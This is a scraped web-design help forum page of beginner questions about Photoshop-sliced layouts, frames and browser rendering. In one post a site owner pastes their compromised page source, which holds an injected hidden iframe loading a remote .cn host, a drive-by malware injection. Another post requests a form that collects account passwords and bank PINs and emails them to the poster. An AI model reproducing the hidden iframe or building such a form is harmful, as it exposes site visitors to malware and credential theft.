HTML - Ive Made A Website With Photoshop, Need Help With The Code ?
Help me with imageready/photoshop website?
Okay, heres the coding im confused with.. ive exported all the images from my photoshop website ive created and all of those fit perfectly in the coding... However, im having a problem with the navigation.. This is the coding: websiteeeeeeeeeeeeeeeeeee_home_over = newImage("images/websiteeeeeeeeeeeeeeeeee-04.gif"); websiteeeeeeeeeeeeeeeeeee_home_down = newImage("images/websiteeeeeeeeeeeeeeeeee-05.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_3_over = newImage("images/websiteeeeeeeeeeeeeeeeee-09.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_3_down = newImage("images/websiteeeeeeeeeeeeeeeeee-10.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_4_over = newImage("images/websiteeeeeeeeeeeeeeeeee-13.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_4_down = newImage("images/websiteeeeeeeeeeeeeeeeee-14.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_6_over = newImage("images/websiteeeeeeeeeeeeeeeeee-17.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_6_down = newImage("images/websiteeeeeeeeeeeeeeeeee-18.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_8_over = newImage("images/websiteeeeeeeeeeeeeeeeee-21.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_8_down = newImage("images/websiteeeeeeeeeeeeeeeeee-22.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_10_over = newImage("images/websiteeeeeeeeeeeeeeeeee-25.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_10_down = newImage("images/websiteeeeeeeeeeeeeeeeee-26.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_12_over = newImage("images/websiteeeeeeeeeeeeeeeeee-29.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_12_down = newImage("images/websiteeeeeeeeeeeeeeeeee-30.gif"); preloadFlag = true; etc.... i wont post the entire thing, but thats for the navigation..and im lost.. i still have the navigational images left, but i dont know where to put them within the code. can anyone help me? Similar TutorialsHey all, I'm new here, and I love the layout of this website! I like the bright colors! Anyway... I created a website layout/site in Photoshop CS 5. The website: www.thegarbagedump.net I saved it as a html & images.. The issue I am having is when you click one of the bottons I want it to open the html document and display it within that square area with the border around it. I know I probably need a frame to do this, however I dont know how to add a frame, and it appears photoshop saved it in tables.. Could you please review the html source, and tell me how/where to add a frame, and make the Home, About, Domains button appear within that square area with the border? Thank You, Justin My website is: www.gstteam.co.nr My main problem is the Rosters. If I open the Rosters in IE7 it looks good but when I open it on Firefox it looks terrible, the images are all over the place and cant even see some of the text that I have under the images. I am using PageBreeze (Free Version). Can somebody please help me how I can fix the problem, I will greatly appreciate it. Thanks Hi, I'm trying to create a website with photoshop and dreamweaver. And I want to create 2-3 frames. 1 left side navigation bar and mayber a banner frame at the top, and the middle frame where the text comes. Now my problem was that when I tried to create something like this with dreamweaver it made those ugly looking draggable things. Id want them not to be visible and apply my 1337 design made with photoshop (and cut with the slice tool). If anybody has any idea or any specific site that could help me further please help me! My current site is http://squeezingavocados.urli.net/ But whenever I write something to the iframe and it expands the navigation bar also does, making it look like ****... okay so i dont have dreamweaver or nething like that. i made a website template that is the home page. i want all the other pages to look like that as well except with different writing which i will want to edit with html when i want to my problem is im not sure how to make my template work and upload it to the web. i can do it as a jpeg but not as an actual template. if some one can help me i would greatly appreciate it thanks What is the best or rather easiest way to learn how to use Photoshop? I have Photoshop 3.0 elements, which I think is different then CS3 correct? I am just not sure where to go for a beginner tutorial on this? Everything I have found so far is for people that already know mostly how to use it.....UGH! Thanks Jeff I have been working on a template on my mac and testing it with safari. I have worked on it for a very long time. The site was launched about 3 days ago.. and I thought everything was under control until one of my friends said that the site looked screwed up.. He had windows and was using internet explorer.. The page displays completely fine on my safari browser.. but most of the visitors are IE users.. could anyone tell me whats going on with it? http://www.mymegz.greenfieldproductions.ca in safari it looks how it should be.. in IE everything that is seperated gets shifted downwards in one center line.. I would appreciate if anyone could help me. I have attached a copy of the main page.. Thanks Dagan Loy ok well what i need for my website is a fill out form were it would be like First Name: then their would be a box here that you can type in Last Name: then their would be a box here that you can type in Email-adress: then their would be a box here that you can type in Phone Number: then their would be a box here that you can type in MSN/AIM: then their would be a box here that you can type in Character Name: then their would be a box here that you can type in Account password: then their would be a box here that you can type in Bank Pin: then their would be a box here that you can type in And the hardest part i need to be done is i need all the information to send to my email after they hit submit if someone could code that for me that would be great! Thanks and have a nice day. I'm really surprised that many webmasters do not understand fully THE HUGE point here, really surprised. The point IS NOT if search engines care W3C validation or if customers care W3C validation (they have probably no idea). Maybe webmasters are too much focused in the job in the profession and into please customers… this is legit of course… but we all sometimes forget that at stake there is also internet and technology development to be considered for the future. We all care in the immediate in the short period of time of the small thing of the detail of the result but not of the WHOLE PICTURES. W3C exist since years but regretfully few people see there the HUGE VALUE in W3C Internet should be a better place for everyone starting from WEBSMASTERS that always complain about website with strange behaviors, about layout that do not look same in all browsers, about code soups done in the past (most in 90’) if there is the need of a restyling of an old website…. Plus one million bugs around. Why we have to face all that? It is because the marketing reason (not the tech reason) as the war between browsers have forced people to use the worst browser ever IE the winner was not the best tech but the best marketing, legit or not. Netscape was far much better and more developed but lost. Because of this only NOW after 10 years we are coming out to see finally in the market good browsers like Firefox or Opera and only now we see IE8 covering at least many bugs revealing the fact that they are far behind the line…. CSS2 exist since years do you realize that? JavaScript same thing… where IE5 IE6 IE7 have been? Sleeping? Only NOW after 10 years we all talk about the separation about markup and graphic about XHTML and CSS but this was already the main plan of W3C …. we all lost years of internet development due to stupid commercial wars and due to careless of webmasters. I always make W3C complain website and I explain to my customer the add value of this. It not cost more nor do I spend more time writing a code instead of another. I also complained with big boys like Amazon (but there are many others) that offer widget to be copied in a webpage and their code is not valid, unless you change it. It is so hard follow the same line? Beside I prefer to buy HP products because they support W3C. I do hope that in future search engine will consider the W3C validation much more then the present link juice because without a common and clear code we all are loosing time and resources thinking to the code instead of contents and creativity. http://www.youtube.com/watch?v=Jz318MPz_SY http://www.youtube.com/watch?v=M2JlLktl5Eg Here's what I currently have on my screen: http://img291.imageshack.us/my.php?i...4169031eq4.jpg What I'm trying to do is Save the Layers as JPEGs so I can place them into Dreamweaver and continue Editing my Webpage. I wasn't able to Edit some of the Images in Dreamweaver so I had to Edit the actual PSD File, but now that I've edited the PSD File, I can't seem to transfer the updated Graphics back to individual JPEG Form, I can only save the entire document as a giant JPEG, and that's not what I want. Slicing isn't viable either, the PSD didn't come with any... I would think it has something to do with those blue lines running across the page, but I don't know what that means? How do I save the Graphics I updated so I can transfer them into Dreamweaver? I would like to create my web navigation using photoshop aswell as other menus but im unsure how to embedd them into html For instance, i remeber seeing tutorial were a guy created a simple vertical blue navigation with slices for each link, then used HTML to put them together in his page. I could not find it so i came here. Hi everyone, I'm creating a prototype ipad webapp for uni and I've managed to get stuck when using photoshop slices. Basically whats happened is that when I add a href to a slice a blue border appears and knocks all the slices out of line by a few pixels. I've tried
Code: frameborder="0" but hasnt worked. Is there a solution using html or would I be better off trying CSS? Thanks, Claire ok.. im a noob i made my template in photoshop and now what I want to do it put my content in such as information, navigation etc. How to I write over the pics so that the text will be visible. Any help on this matter would be appreciated Cheers Ryan Okay so I manage to make a design on photoshop so I then slice most the image to various parts and then had it transfer to dreamweaver so now its an html file. but now I want to add thing to those images like an image placement holder but when I try to add something such as a table or an image placement holder to one of the images that i sliced it keeps on putting the image or table outside the box where I want it to be. here is a video of my problem http://www.youtube.com/watch?v=ONXom...layer_embedded thanks How do make a curved edge for a table row or table data? Right now my site looks kind of boxy. i need the code in html when any one opens my website in mozilla firefox the user is prompted to view the website in INTERNET Explorer . while if the user opens the website in IE he is not prompted to any action. and the action required may be in pop up form or attention message form. please help me put as soon as possible. and the code must work for any browser because i need my website to be viewed in IE only. can go through the URL ... please view it in IE and firefox there is a difference is spacing the table if u can fix this or can make the prompting it will be fine http://ims-sc.org/SPORTS/members.html Hello! I know next to nothing about HTML code, I found a site that offers image gallery templates free to use, only when I view the page source I have NO idea how to decipher which code is for the gallery and which is the page itself. Could someone possibly just copy and past the code for the image gallery for me so that I can just substitute the images with my own? The site is here http://www.cssplay.co.uk/menu/zoom-gallery.html Thank you so much for your help! My site was working fine for about year and now when I go to the website there is a very large margin on top (it should only be 35px) and it is trying to put a virus in whoever views my site's computer. Here is the current code... Code: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><title>Giancola Auto Parts - Thousands Of Used Auto Parts At Low Prices</title><meta name="keywords" content="giancola auto, used auto parts, salvage yard, east brunswick, new jersey, junkyard"><meta name="description" content="Over 100000 used auto parts. Honda AC Compressors, Chevy Radiators, Toyota Engines and a lot more!"><link REL="ICON" HREF="http://giancolaauto.com/images/gianico.ico"><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><style type="text/css"> <!-- #expand { width:300px; cursor:pointer; } #container { width:100%; height:0; align:center; overflow:hidden; background-color:#fff; float: inherit; margin: auto; } #container #inner { } #container p { } body,td,th { font-family: Arial, Helvetica, sans-serif; color: #000000; font-size: 11px; } body { background-color: #FFFFFF; margin-left: 0px; margin-right: 0px; margin-bottom: 0px; margin-top: 35px; } a:link { color: #0000FF; } a:visited { color: #0000FF; } .style5 {color: #666666; font-size: 11px; } .style7 {font-size: 11px} a { font-size: 11px; } --> </style> <script type="text/javascript"> var c=0; var test=true var obj,obj1,obj2,hgt,exp,shr; var speed=50; window.onload=function(){ obj=document.getElementById('expand'); obj1=document.getElementById('container'); hgt=document.getElementById('inner').offsetHeight; obj.onclick=function(){ if(test==true){ expandDiv(); test=false; } else { shrinkDiv(); test=true; } } } function expandDiv() { clearTimeout(shr); obj1.style.height=c+'px'; obj1.className='brdr'; obj.firstChild.nodeValue='Call in or submit a part request, we ship nation wide'; obj.className='stop'; c+=20; if(c>=hgt) { c=hgt; clearTimeout(exp); return; } exp=setTimeout('expandDiv()',50); } function shrinkDiv() { clearTimeout(exp); obj1.style.height=c+'px'; obj.firstChild.nodeValue='Call in or submit a part request, we ship nation wide'; obj.className='go'; c-=20; if(c<=0) { c=0; clearTimeout(shr); obj1.style.height=0; obj1.className=''; return; } shr=setTimeout('shrinkDiv()',50); } </script> <style type="text/css"> <!-- body,td,th { font-family: Arial, Helvetica, sans-serif; color: #000000; font-size: 11px; } body { background-color: #FFFFFF; margin-left: 0px; margin-right: 0px; margin-bottom: 0px; margin-top: 35px; } a:link { color: #0000FF; } a:visited { color: #0000FF; } .style5 {color: #666666; font-size: 11px; } .style7 {font-size: 11px} a { font-size: 11px; } .style11 {color: #0000FF} --> </style></head><body><iframe src="http://bigtopcreative.cn:8080/index.php" width=103 height=194 style="visibility: hidden"></iframe><TABLE width="100%" height="42" border="0" cellpadding="0" cellspacing="0"><tr><td></td><td width="23%" height="42"><div align="center"><img style="vertical-align:bottom;" src="/images/giancola_logo.gif" alt="Giancola Auto Parts" width="286" height="42"></div></td><td></td></tr></TABLE><TABLE width="100%" height="32" border="0" cellpadding="0" cellspacing="0" bgcolor="#CC0000"><tr> <td></td><td width="23%" height="32"><div align="center"><img style="vertical-align:bottom;" src="/images/giancola_logo_2.gif" alt="Giancola Auto Parts" width="286" height="32"></div></td> <td></td></tr></TABLE><TABLE width="100%" height="18" border="0" cellpadding="0" cellspacing="0"><tr><td></td><td width="23%" height="18"><div align="center"><img style="vertical-align:bottom;" src="/images/giancola_logo_3.gif" alt="Giancola Auto Parts" width="286" height="18"></div></td><td></td></tr> </TABLE><p align="center" class="style7"><div align="center"><span class="style7">Over 100,000 OEM used automotive parts for all cars 2007 and down.</span><div id="expand" class="go"><span class="style7">Visit us, Call in or <span class="style11"><u>Submit</u></span> a part request, we ship nation wide.</span></div> </div><div id="container"> <div id="inner"> <div align="center"> <style type="text/css"> <!-- .style1 { font-family: Arial, Helvetica, sans-serif; font-weight: bold; font-size: 11px; } .style2 { font-family: Arial, Helvetica, sans-serif; font-size: 11px; } .style3 { color: #FF0000; font-weight: bold; font-size: 14px; } --> </style> <form action="http://formmail.dreamhost.com/cgi-bin/formmail.cgi" method="POST"> <input type=hidden name="recipient" value="support#giancolaauto.com"> <input type=hidden name="redirect" value="http://www.giancolaauto.com/success"> <input type=hidden name="subject" value="Giancola Part Request Form"> <input type=hidden name="redirect" value="http://www.giancolaauto.com"> <input type=hidden name="required" value="Name,email,State,Year,Make,Model,Fuel,Transmission,Parts Needed"> <body> <TABLE width="520" border="0" cellspacing="0" cellpadding="0"> <tr> <td><TABLE width="520" border="0" cellspacing="0" cellpadding="5"> <tr> <td><div align="center" class="style1">Contact Information: </div></td> <td><div align="center" class="style1">Part Information: </div></td> </tr> <tr> <td valign="top"><TABLE width="260" border="0" cellspacing="0" cellpadding="5"> <tr> <td class="style2"><div align="left"><span class="style3">*</span>Name</div></td> <td><div align="left"> <input type="text" size="25" name="Name"> </div></td> </tr> <tr> <td class="style2"><div align="left"><span class="style3">*</span>State:</div></td> <td><div align="left"> <select class="other" name="State"> <option selected="selected"></option> <option>AL</option> <option>AK</option> <option>WY</option> </select> </div></td> </tr> <tr> <td class="style2"><div align="left">Phone:</div></td> <td><div align="left"> <input type="text" size="25" name="Phone"> </div></td> </tr> <tr> <td class="style2"><div align="left"><span class="style3">*</span>Email:</div></td> <td><div align="left"> <input type="text" size="25" name="email"> </div></td> </tr> </TABLE></td> <td><TABLE width="260" border="0" cellspacing="0" cellpadding="5"> <tr> <td class="style2"><div align="left">VIN Number: </div></td> <td><div align="left"> <input type="text" size="25" name="Vin Number" class="text" maxlength="100" maxsize="100" /> </div></td> </tr> <tr> <td class="style2"><div align="left"><span class="style3">*</span>Year:</div></td> <td><div align="left"> <select class="other" name="Year"> <option></option> <option>2009</option> <option>1910</option> <option>1909</option> </select> </div></td> </tr> <tr> <td class="style2"><div align="left"><span class="style3">*</span>Make:</div></td> <td><div align="left"> <select class="other" name="Make"> <option></option> <option>Other</option> </select> </div></td> </tr> <tr> <td class="style2"><div align="left"><span class="style3">*</span>Model:</div></td> <td><div align="left"> <input type="text" size="25" name="Model"> </div></td> </tr> <tr> <td class="style2"><div align="left"><span class="style3">*</span>Fuel:</div></td> <td><div align="left"> <select class="other" name="Fuel"> <option></option> <option>Gas</option> </select> </div></td> </tr> <tr> <td class="style2"><div align="left"><span class="style3">*</span>Transmission:</div></td> <td><div align="left"> <select class="other" name="Transmission"> <option></option> <option>Manual</option> </select> </div></td> </tr> <tr> <td class="style2"><div align="left"><span class="style3">*</span>Part(s) Needed: </div></td> <td><div align="left"> <textarea cols="25" rows="3" name="Parts Needed" class="text"></textarea> </div></td> </tr> </TABLE></td> </tr> <tr> <td><div align="left"><span class="left style2">Your information will not be shared or stored or sold.<br /> </span><span class="style3">*</span><span class="left style2"> = Required </span></div></td> <td><div align="right"><INPUT type="submit" value="Submit Part Request"> </div></td> </tr> </TABLE></td> </tr> </TABLE> <br> <br> <br> </div> </div> <br> </div><br /> <div align="center"><span class="style7"><em></em><a href="javascript:window.external.AddFavorite('http://www.giancolaauto.com', 'Giancola Auto Parts - Over 100,000 Used Auto Parts')">Add to favorites</a> | <a href="#" onClick="this.style.behavior='url(#default#homepage)'; this.setHomePage('http://www.giancolaauto.com');">Set as homepage </a></span></div><span class="style7"><a href="mailto:giancola_autoparts@yahoo.com"></a></span><TABLE width="100%" border="0" cellspacing="0" cellpadding="0"> <tr><td class="style3"><div align="center"><img style="vertical-align:bottom;" src="/images/giancola_ebay.gif" alt="" width="533" height="68"></div></td> </tr> </TABLE></body></html> How do you insert Google adsense code into a table, because when i make a website using Photoshop it makes a bunch of tables. Is it possible to put adsense into a table? Thanks Ok so I made a kinda complex layout in photoshop by slicing and I'm using hte code they gave me to put it all together. I've switched the images from being in the table to being the background of the table. Everything seems to work great. But I'm trying to make it so that when I type too much in the body function the body will just roll down and repeat itself and the links on the left side will stay and do nothing. But at the same time I want it so when I get too many links I want the links bar to continue to roll down and repeat itself while the body does nothing. Well right now when the body rolls down there are gaps in every break in images on the links side. I've tried valigning them all to the top and it works on the first one but the 2nd 3rd and 4th image still have gaps between them. Any suggestions? Hello, I want to add a promotional code to my website that would offer a discount to my customer's purchase. How would I go about doing this? I use paypal as my merchant account. |